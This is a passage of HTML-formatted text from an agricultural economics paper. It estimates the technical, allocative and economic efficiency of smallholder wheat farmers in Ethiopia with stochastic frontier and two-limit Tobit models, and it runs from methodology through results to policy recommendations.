style=\"font-family:Times New Roman,Times,serif\">Where:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">i -&nbsp;Denotes the number of sample households</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">lnYi&nbsp;-&nbsp;Denotes the natural log of (scalar) output of the i<sup>th </sup>households</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Xi&nbsp;-&nbsp;Represent a vector of input quantities used by the i<sup>th</sup> households:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&beta;i&nbsp;-&nbsp;Denotes a vector of unknown parameters to be estimated</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">vi -&nbsp;is a symmetric component and permits a random variation in output due to factors beyond the control of farmers.&nbsp; It is assumed to be independently and identically distributed N~(0, &sigma;2v)and</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">ui -&nbsp;intended to capture inefficiency effects in the production of wheat measured as the ratio of observed output to maximum feasible output of the ith<img id=\"_x0000_i1025\" src=\"file:///C:/Users/MDNUSE~1/AppData/Local/Temp/msohtmlclip1/01/clip_image008.png\" style=\"height:14.25pt; width:10.5pt\" /> &nbsp;farm. It is assumed to be independently and identically distributed as half-normal, u~N (u, &sigma;2u).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">After specification of SFP the next step is estimation of TE for individual firms. Accordingly, the study computes TE for the i<sup>th</sup> firms as:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/107f68159.jpg\" style=\"height:73px; width:566px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The value of TE lies between zero and one implying fully technically inefficient and fully technically efficient respectively. Following [23] the stochastic cost frontier function was specified which forms the basis of computing EE and AE of wheat production. The dual cost frontier is specified as:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1085d51eb.jpg\" style=\"height:50px; width:592px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Where:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">ln Ci&nbsp;-&nbsp;Denotes the logarithm of the cost of production of the i<sup>th</sup> firm;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Pji&nbsp;-&nbsp;Denotes a vector of inputs price and output of i<sup>th</sup> firm;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&beta;o, &beta;j -&nbsp;Denotes a vector of unknown parameter to be estimated;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">vi&nbsp;-&nbsp;Denotes random variables assumed to be independent and identically distributed random errors with zero mean and variance(&sigma;<sup>v</sup><sup>2</sup><sup>)&nbsp;</sup>and</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">ui&nbsp;-&nbsp;Denotes non-negative random variables which are assumed to account for cost in efficiency</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.7.Determinants of efficiency</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">After we estimate cost efficiency, allocative efficiency is computed as the inverse of cost efficiency. Economic efficiency is the product of technical and allocative efficiencies.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In this study, to analyze the effect of demographic, socioeconomic, farm attributes and institutional variables on efficiencies, two-limit Tobit model was employed. This model is best suited for such analysis because of the nature of the dependent variable (efficiency scores), which takes values between 0 and 1 and yield the consistent estimates for unknown parameter vector [24]. Estimation with OLS regression of the efficiency score would lead to a biased parameter estimate since OLS regression assumes normal and homoscedastic distribution of the disturbance and the dependent variable [25].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Following [24] the model can be specified as:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/110a9bf9b.jpg\" style=\"height:54px; width:537px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1132c72ef.jpg\" style=\"height:132px; width:684px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Denoting yi as the observed variables,</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/114c3d2cc.jpg\" style=\"height:84px; width:535px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The distribution of dependent variable in equation (3.13) is not normal distribution because its value varies between 0 and 1. The ordinary least square (OLS) estimation will give biased estimates &nbsp;[24]. Therefore, the alternative approach is using the maximum likelihood estimation which can yield the consistent estimates for unknown parameters. Following [24], the likelihood function of this model is given by:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1153ee572.jpg\" style=\"height:72px; width:586px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Where&nbsp; L1j=0&nbsp;(lower limit) and L2j=1&nbsp;(upper limit) where &phi;(.)&nbsp;and&nbsp;<img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/116e812c2.jpg\" style=\"height:21px; width:36px\" />are normal and standard density functions. In practice, since the log function is monotonically increasing function, it is simpler to work with log of likelihood function rather than likelihood function and the maximum values of these two functions are the same [25].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The regression coefficients of the two-limit Tobit regression model cannot be interpreted like traditional regression coefficients that give the magnitude of the marginal effects of change in the explanatory variables on the expected value of the dependent variable. In a Tobit model, each marginal effect includes both the influence of explanatory variables on the probability of dependent variable to fall in the uncensored part of the distribution and on the expected value of the dependent variable conditional on it being larger than the lower bound. Thus, the total marginal effect takes into account that a change in explanatory variable will have a simultaneous effect on probability of being technically, allocatively and economically efficient and value of technical, allocative and economic efficiency score. A useful decomposition of marginal effects that was extended by [26] was proposed by [27]. From the likelihood function of this model stated in equation (7), [26] showed the equations of three marginal effects as follows:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1) The unconditional expected value of the dependent variable:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/118a30da3.jpg\" style=\"height:70px; width:537px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2) The expected value of the dependent variable conditional upon being between the limits</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/119e44419.jpg\" style=\"height:64px; width:557px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3) The probability of being between the limits</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1208f9018.jpg\" style=\"height:49px; width:530px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">where &phi;.=&nbsp;the cumulative normal distribution,&nbsp;<img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/121a2ed51.jpg\" style=\"height:21px; width:36px\" />=&nbsp;the normal density function, ZL=-&beta;&#39;X/&sigma;&nbsp;and ZU=(1-&beta;X/&sigma; are standardized variables that came from the likelihood function given the limits of y*, and &sigma;=&nbsp;standard deviation of the model. The marginal effects represented by the equations above were calculated by the STATA command mfx which was complemented by specific options that allowed the estimation of marginal effects of change in explanatory variables.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In SPF hypothesis tests can be made that are not possible in non-parametric models. Following [25], a number of tests of hypotheses were made in this study using the usual likelihood ratio (LR) test given by equation (11):</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1228b1dc8.jpg\" style=\"height:37px; width:551px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Where:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">L(H0)&nbsp;-&nbsp;Denotes the likelihood function value under the null hypothesis(H0)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">L(H1)&nbsp;-&nbsp;Denotes the likelihood function value under alternative hypothesis(H1)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In most cases, this function has an asymptotic chi-square distribution. Thus, if the value of LR (&lambda;)&nbsp;exceeds the critical/tabulated &chi; 2&nbsp;statistic, then the null hypothesis would be rejected in favor of the alternative and vice versa. All the parameters of production frontier, dual cost frontier and two limit Tobit model were estimated using STATA version 13.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Results and Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.1. Summary statistics of variables used in production and cost functions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On average, the sampled households produced 15.08 qt of wheat, which is the dependent variable in the production function. The land allocated for wheat production, by sampled households during the survey period was ranged from 0.125 to 2.5 ha with an average of 0.712 ha. Similarly, on average the sampled farmers incurred 13,607.46 birr to produce 15.08 quintal of &nbsp;wheat. Among the five factors of production, the cost of land and labor accounted for the highest share 30.79 and 27.79%, respectively (Table 1).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.2. Summary statistics of variables used in efficiency model</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The summary statistics of demographic, socioeconomic, farm and institutional variables which were expected to affect technical, allocative and economic efficiency levels of small holder farmers in the study area are presented in (Table 2) below.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Econometric Results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.1. Hypotheses test</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In this study, three hypotheses were tested. Accordingly, the functional form that can best fit to the data at hand was selected by testing the null hypothesis which states that the coefficients of all interaction terms and square specifications in the translog functional forms are equal to zero (<em>H</em>0: <em>&beta;</em><em>ij</em>=0)&nbsp;against alternative hypothesis which states that the coefficients of all interaction terms and square specifications in the translog functional forms are different from zero (<em>H</em>1: <em>&beta;</em><em>ij</em>&ne;0).&nbsp;This test was made based on the value of likelihood ratio (LR) statistics which could be computed from the log likelihood values of &nbsp;both the Cobb-Douglas and Translog functional forms using equation (12) below.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/124ec4c74.jpg\" style=\"height:51px; width:556px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The <img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/125fd97e9.jpg\" style=\"height:24px; width:18px\" /><!--[if gte mso 9]><xml>\r\n <o:OLEObject Type=\"Embed\" ProgID=\"Equation.3\" ShapeID=\"_x0000_i1025\"\r\n  DrawAspect=\"Content\" ObjectID=\"_1610421409\">\r\n </o:OLEObject>\r\n</xml><![endif]-->value computed by the above formula was compared with the upper 5% critical value of the <img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1261f84fb.jpg\" style=\"height:23px; width:19px\" />at the degree of freedom equals to the difference between the number of explanatory variables used in both functional forms (in this case degree of freedom =15). Accordingly, the log likelihood functional values of both Cobb-Douglas and Translog production functions were -34.84 and -26.32 respectively. Therefore, the <img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/127d842b9.jpg\" style=\"height:24px; width:18px\" />value computed was 17.04 and this value is lower than the upper 5% critical value of <!--[if gte msEquation 12]><m:oMath><m:sSup><m:sSupPr><span\r\n   style=\'font-size:10.0pt;mso-ansi-font-size:10.0pt;mso-bidi-font-size:10.0pt;\r\n   font-family:\"Cambria Math\",serif;mso-ascii-font-family:\"Cambria Math\";\r\n   mso-hansi-font-family:\"Times New Roman\";mso-bidi-font-family:\"Times New Roman\"\'><m:ctrlPr></m:ctrlPr></span></m:sSupPr><m:e><i\r\n   style=\'mso-bidi-font-style:normal\'><span style=\'font-size:10.0pt;line-height:\r\n   115%;font-family:\"Cambria Math\",serif;mso-fareast-font-family:Calibri;\r\n   mso-fareast-theme-font:minor-latin;mso-bidi-font-family:\"Times New Roman\";\r\n   mso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><m:r>?</m:r></span></i></m:e><m:sup><span\r\n   style=\'font-size:10.0pt;line-height:115%;font-family:\"Cambria Math\",serif;\r\n   mso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;\r\n   mso-hansi-font-family:\"Times New Roman\";mso-bidi-font-family:\"Times New Roman\";\r\n   mso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><m:r><m:rPr><m:scr\r\n      m:val=\"roman\"/><m:sty m:val=\"p\"/></m:rPr>2</m:r></span></m:sup></m:sSup></m:oMath><![endif]--> at 15 degree of freedom (24.9) (Table 3). This shows that the coefficients of the interaction terms and the square specifications of the production variables under the Translog specifications are not different from zero. As a result, the null hypothesis was accepted and the Cobb-Douglas functional form best fits the data.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The second test is to test the null hypothesis that the inefficiency component of the total error term is equal to zero (<em>&gamma;</em>=0) and alternative hypothesis that inefficiency component different from zero. Thus, the likelihood ratio is calculated and compared with the <em>&chi;</em>2 value at a degree of freedom equal to the number of restrictions (the inefficiency component) estimated by the full frontier, which is 1 in this case for all models.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As explained in Table 3, one-sided generalized <img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1283054ec.jpg\" style=\"height:24px; width:18px\" />&nbsp;test of <em>&gamma;</em>=0&nbsp;provide a statistic of 12.2&nbsp; for wheat&nbsp; production; which is significantly higher than the critical value of <em>&chi;</em>2 for the upper 5% at one degree of freedom (3.84). Rejecting the null hypothesis implies that the average response function estimated by OLS, which assumes all farmers are technically efficient is an insufficient representation of the data, given the stochastic frontier and the inefficiency effects model. Consequently, the null hypothesis that wheat producers in the study area are fully efficient is rejected.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The third hypothesis tested was that all coefficients of the inefficiency effect model are simultaneously equal to zero (i.e.<em>H</em>0: <em>&delta;</em>0= <em>&delta;</em>1=<em>&delta;</em>2=&hellip;<em>&delta;</em>12=0)&nbsp;against the alternative hypothesis, which states that all parameter coefficients of the inefficiency effect model are not simultaneously equal to zero. The null hypothesis is to mean that the explanatory variables in the inefficiency effect model do not contribute significantly to the explanation of efficiency variation for wheat producing farmers. It was also tested in the same way by calculating the <img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/129d0a1fe.jpg\" style=\"height:24px; width:18px\" />&nbsp;value using the value of the log likelihood function under the stochastic frontier model (without explanatory variables of inefficiency effects,<em>H</em>0)&nbsp;and the full frontier model (with variables that are supposed to determine efficiency level of each farmer, <em>H</em>1). Using the formula in Equation (7), the&nbsp; value obtained was 77.56, which is higher than the critical <em>&chi;</em>2 value (21.03) at the degree of freedom equal to the number of restrictions to be zero (in this case the number of coefficients of the inefficiency effect model was 12). As a result, the null hypothesis is rejected in favor of the alternative hypothesis that explanatory variables associated with inefficiency effect model are simultaneously not equal to zero. Hence, these variables simultaneously explain the difference in efficiency among sampled farmers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.2. The MLE of the parametric stochastic production frontier</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Given the specification of Translog, the Cobb-Douglas stochastic production was tested and found to best fit to the data and was used to estimate efficiency of farmers. The dependent variable of the estimated production function was wheat output (Qt) and the input variables used in the analysis were area under wheat (ha), oxen (pair of oxen-days), labor (man-days in man-equivalent), quantity of seed (kg) and quantity of fertilizer (Kg).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Land allotted for wheat production and mineral fertilizers are found to be statistically significant at 1% significance level implying that increasing the level of these inputs would increase wheat yield in the study area. Mineral fertilizers also appeared to be an important factor, with coefficient of 0.353. This implies that a 1% increase in mineral fertilizers enhance wheat output by about 0.35% at ceterius paribus. This result is&nbsp; in line with the empirical results of [7,11-13,16,21,28-30].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The coefficients related with the inputs measure the elasticity of output with respect to inputs. The results showed that the input variables specified in the model had elastic effect on the output of wheat production. The scale coefficient calculated was 1.214, indicating increasing returns to scale. This implies that there is potential for wheat producers to expand their production because they are in the stage I production area. This implies that, a 1% increase in all inputs proportionally would increase the total production of wheat by 1.214%. Therefore, an increase in all inputs by 1%would increase wheat output by more than 1%. This result is consistent with the empirical results of [13] and [15] who estimated the returns to scale of 1.33 and 1.38% in the study of technical efficiency of wheat production in South Wollo and Hadiya zone, Ethiopia respectively (Table 4).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The diagnostic statistics of inefficiency component reveals that sigma squared (&sigma;2) was statistically significant which indicates goodness of fit, and the correctness of the distributional form assumed for the composite error term. The estimated value of Gamma <img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/130735f8a.jpg\" style=\"height:25px; width:16px\" />is 0.6778 which indicates that 67.78% of total variation in farm output from the frontier is due to technical inefficiency. The dual frontier cost function derived analytically from the stochastic production frontier shown in (Table 4) is given by:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/131cf959e.jpg\" style=\"height:38px; width:545px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Where Ci&nbsp;is the minimum cost of production of the <img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/132013360.jpg\" style=\"height:23px; width:24px\" />farmer, Y* refers to the index of output&nbsp;adjusted for any statistical noise and scale effects and wstands for input costs.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.3. Efficiency scores and their distribution</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The mean TE of sample farmers was about 0.78 with a minimum level of 0.29 and the maximum level of 0.95. This means that if the average farmer in the sample was to achieve the technical efficient level of its most efficient counterpart, then the average farmer could realize 17.12% derived from (1-0.784/0.946)*100 increase in output by improving technical efficiency with existing inputs and technology. The average AE of the sample farmers was about 0.80 with a minimum of 0.34 and a maximum of 0.98. This shows that farmers are not allocatively efficient in producing wheat and hence, a farmer with average level of allocative efficiency would enjoy a cost saving of about 17.19%. Similarly, the mean EE of the sample farmers was 0.63 implying that there was a significant level of inefficiency in the production process. The mean levels of efficiencies were comparable to those from other similar studies in Ethiopia. Accordingly, [30] found mean TE, AE and EE of 0.79, 0.83 and 0.66 respectively for teff producers in Northern Shewa, Ethiopia. In addition, [17] found mean TE, AE and EE of 0.79, 0.47 and 0.37 respectively for wheat seed producer farmers in West Gojjam, Ethiopia (Table 5).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The distribution of the technical efficiency scores showed that about 47.36% of the sample households had technical efficiency score of 80 to 90%. The allocative efficiency distribution scores indicated that about 27.63% of wheat producers operated above 90% efficiency level. The distribution of economic efficiency scores implies that 36.18% of the household heads have an economic efficiency score of 50-60%. This also indicates the existence of substantial economic inefficiency than technical and allocative inefficiency in the production of wheat during the study period in the study area (Figure 1).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.4. Determinants of efficiency</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">To find out factors that affect efficiency levels among the sampled farmers, the technical, allocative and economic efficiency levels derived from stochastic frontier were regressed on factors that were hypothesized to affect efficiency levels by using a two limit Tobit model. In this study, the dependent variable is efficiency scores not inefficiency. Thus, the marginal effect should be interpreted as their effect on efficiency and not inefficiency and if one wants to use inefficiency, the sign of the marginal effect, has to be changed.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The finding of the study shows that age affected allocative and economic efficiency of the smallholder farmers in wheat production positively and significantly at 10 and 1% significance level, respectively. This implies that older farmers were more efficient than younger ones. This was probably because older farmers may have better experience in farming. Moreover, farmers at older age may accumulate good control of resources like oxen, farm tools and labor that could boost their efficiency, since in crop production, better availability of farm resources enhances timely application of inputs that increase efficiency of the farmer [31]. Furthermore, the computed marginal effect of age of the household head showed that, a one year increase in the age of the household head would increase the probability of the farmer being allocatively efficient by about 0.13% and the mean value of allocative and economic efficiency by 0.12 and 0.14% with an overall increase in the probability and the level of allocative and economic efficiencies by 0.14 and 0.14%, respectively. Similar positive and significant effect of age of the household head on efficiency was found by [31-33] in their respective studies.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The coefficient for sex of the household head was significant and positively affected technical and economic efficiencies of farmers at 1% significance level, as it was expected. It indicated male headed households operating more efficiently than their female counterparts. This result is in line with the findings of [16] and [34]. As expected, educational level of the household head had a positive and significant effect on TE, and AE at 5% and EE of wheat production at 1% level of significance. This is because education can increase their information acquisition and adjustment abilities, thereby- increasing their decision making capacity. In line with this study, research done by [11,17,21] explains that the more educated the farmer, the more technically, allocatively and economically efficient s/he becomes.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The model result also indicated that soil fertility was positively and significantly affected technical and economic efficiencies at 1 and 5% level of significance, respectively. This implies that farmers who have allocated fertile land for wheat production were more technically and economically efficient than their counterparts. This result is consistent with the empirical findings of [12,15,18,28]. Frequency of extension contact had significant and positive effect on technical efficiency at 5%, allocative and economic efficiencies at 1% significance level, respectively. This indicates households who receive more extension contacts by extension workers appear to be more efficient than their counterparts. This result is similar with the findings of [11,30,31].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It was hypothesized that a farmer participated in off/non-farm activity were more efficient than counterparts. As it was hypothesized the coefficient of participation in off/non-farm activity was positive and significant for technical and economic efficiency at 1% whereas allocative efficiency at 5% significance level. Participation in off/ non-farm activity affect efficiency positively for the reason that the income obtained from such activities could be used for the purchase of agricultural inputs, and may be because of the availability of off/non-farm income shifts the cash constraint outwards and enables farmers to make timely purchase of those inputs which they cannot provide from on farm income. This result is in line with the empirical findings of [17,31,35]. The coefficient of land fragmentation for technical efficiency is negative and statistically significant at 10% significance level as it was expected. The result confirms the expectation, because fragmented land leads to reduce efficiency by creating lack of family labor, wastage of time and other resources that would have been available at the same time. This result is in line with the empirical results of [15] and [29] (Table 6).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Conclusion and Recommendations</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7.1. Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Result of the production function indicated that seed, land and mineral fertilizers were the significant inputs, with positive sign as expected. Among the three significant inputs, mineral fertilizers and land under wheat production had significant and positive influence on wheat production at less than 1% level of significance. This depicts that farmers who allocated more land for wheat production and those who applies more amount of mineral fertilizers receive higher wheat yields. The coefficients related with the inputs measure the elasticity of output with respect to inputs. The results showed that the input variables specified in the model had elastic effect on the output of wheat production. The coefficient calculated was 1.214, indicating increasing returns to scale This implies that, a 1% increase in all inputs proportionally would increase the total production of wheat by 1.214%. Therefore, an increase in all inputs by 1% would increase wheat output by more than 1% in the study area.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The estimated mean values of technical, allocative and economic efficiency levels were 78, 80 and 63%, respectively. This implied wheat producer in the study area are not operating at full technical, allocative and economic efficiency levels. In other words, the result indicated that there is opportunity for wheat producers to increase wheat output at existing levels of inputs and minimize cost without compromising yield with present technologies available in the hands of producers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The factors that affect efficiency of the sampled households were identified to help different stakeholders to boost the current level of efficiency in wheat production by using two limit Tobit model. Accordingly, education, extension and participation in off/non-farm activity had positive and significant effect on technical, allocative and economic efficiencies. This shows that more educated farmers, the more farmers have contact with extension agent and farmers participating in off/non-farm activities were more technically, allocatively and economically efficient than their counterparts respectively. In addition, as it was expected sex and soil fertility had positive and significant effect on technical and economic efficiencies, implying that male headed households, household heads who allocate fertile land for wheat production were more technically and economically efficient than their counterparts, respectively. Similarly, age had a positive and significant effect on allocative and economic efficiencies, which implies that older household heads were more efficient than their counterparts. Moreover, land fragmentation had negative and significant impact on technical efficiency. This implies that household heads with small number of plots were more efficient than their counterparts.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7.2. Recommendations</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The results of this study give information to policy makers on how to improve the TE, AE and EE efficiency and optimal use of resources in the study area. The following policy recommendations have been drawn based on the results of the study. First, using best practices of the efficient farmers as a point of reference would help setting targets in improving efficiency levels and finding the weakness of the present farm practices. The relatively efficient farms can also improve their efficiency more through learning the best resource allocation decision from others. This can be achieved by arranging field days, cross-visits, creating forum for experience sharing with elder households and on job trainings.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Age, used as a proxy for experience, showed a positive and significant effect on efficiency. This may be due to experience learnt over the years of farming activity. Therefore mechanisms should be devised to encourage farmers with little experience to work with the experienced ones or train them. This could be done via the Farmer Training Center (FTC) in which the experienced farmers are trained and let to diffuse their accumulated practices to the youngsters with less experience. The results of the study also shows, as female household heads were less efficient than male household heads. This is may be due to female headed households are too busy with domestic activities and had less time to manage their farm plots. Thus, especial emphasis should have to given for female headed households by providing improved technologies that can help them in decreasing their home burden and this would in turn help them to improve their efficiency level in wheat production.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the study area, education of household heads had positive and significant effect on technical, allocative and economic efficiencies. Hence, the key policy implication is that appropriate policy should be designed to provide adequate and effective basic educational opportunities for farmers in the study area. In this regards, the regional government should have a main responsibility to keep on providing basic education in these areas and facilitates the necessary materials so that farmers can understand agricultural instructions easily and have better access to information and use the available inputs more efficiently. The result of the study indicated that extension contact has positive and significant effect on technical, allocative and economic efficiencies. Therefore, suitable and sufficient extension services should be provided for the farmers in the study area. This could done by manipulative appropriate ability building program to train additional development agents and to provide refreshment training for development agents.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The study also found that, participation in off/non-farm activity had a positive and significant effect on technical, allocative and economic efficiencies. This implies that financing timely and enough use of inputs through additional income generated by off/non-farm are critical. Therefore, strategies that enhance the ease use of off/non-farm employment opportunities would help to increase the timely and appropriate use of inputs for better efficiency in wheat production in the study area. Moreover, technical and economic efficiency were positively and significantly affected by soil fertility. Therefore, improvement of the soil status by applying organic manures and practicing different soil conservation techniques should have to done by farmers. In addition, extension workers in the study area can play a great role in 